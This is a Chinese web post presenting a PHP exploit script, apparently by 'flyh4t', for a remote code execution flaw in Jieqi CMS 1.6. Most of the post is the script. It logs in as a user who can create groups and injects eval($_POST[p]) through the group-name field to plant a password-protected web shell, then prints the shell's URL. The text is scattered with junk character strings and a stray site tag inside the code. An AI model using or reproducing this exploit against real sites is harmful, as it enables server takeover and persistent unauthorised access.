Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


; _* ~& K2 I$ E: c% K& }% ~4 N& A( R该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
+ N6 \" K( Z6 g- a4 @5 \4 R  U7 F# K 需要有一个能创建圈子的用户。
3 k) A+ j+ L0 f* S- c
<?php

' V+ T3 w* w1 ^" F  y. P1 vprint_r('
- \) q$ @& a) t, n# E$ \: i. ~+---------------------------------------------------------------------------+
/ c$ F+ m$ A, RJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
+ u- |4 E" F! }% [- v% S2 O9 M4 zteam: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
* works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
$ [& v: z6 S, p( P+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
( \7 n+ d; Q0 npath:      path to jieqicms
uasename:  a username who can create group
. F7 q  U; f7 @( V& V, `8 M$ CExample:
0 O" K7 h0 Q0 l; y# g8 cphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
; G% ^6 h2 Y1 e; k- |Content-Disposition: form-data; name="gcatid"
( ?( x8 J, s4 k5 @
1
& t' S3 D" Q* W2 {( [- d! @-----------------------------23281168279961
- w5 j( o/ M7 l' C8 P- Y7 T3 v9 QContent-Disposition: form-data; name="gaudit"
4 J: R- G1 T) F. i1 E% v
1
) E9 o* q& p8 T: e' `: ^! \/ L: k-----------------------------23281168279961
; r& `& i8 ]5 k- n5 W+ W" n0 c1 R( nContent-Disposition: form-data; name="gbrief"

1
-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

" O9 R, S4 R. Y9 \) k  n2 Tpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;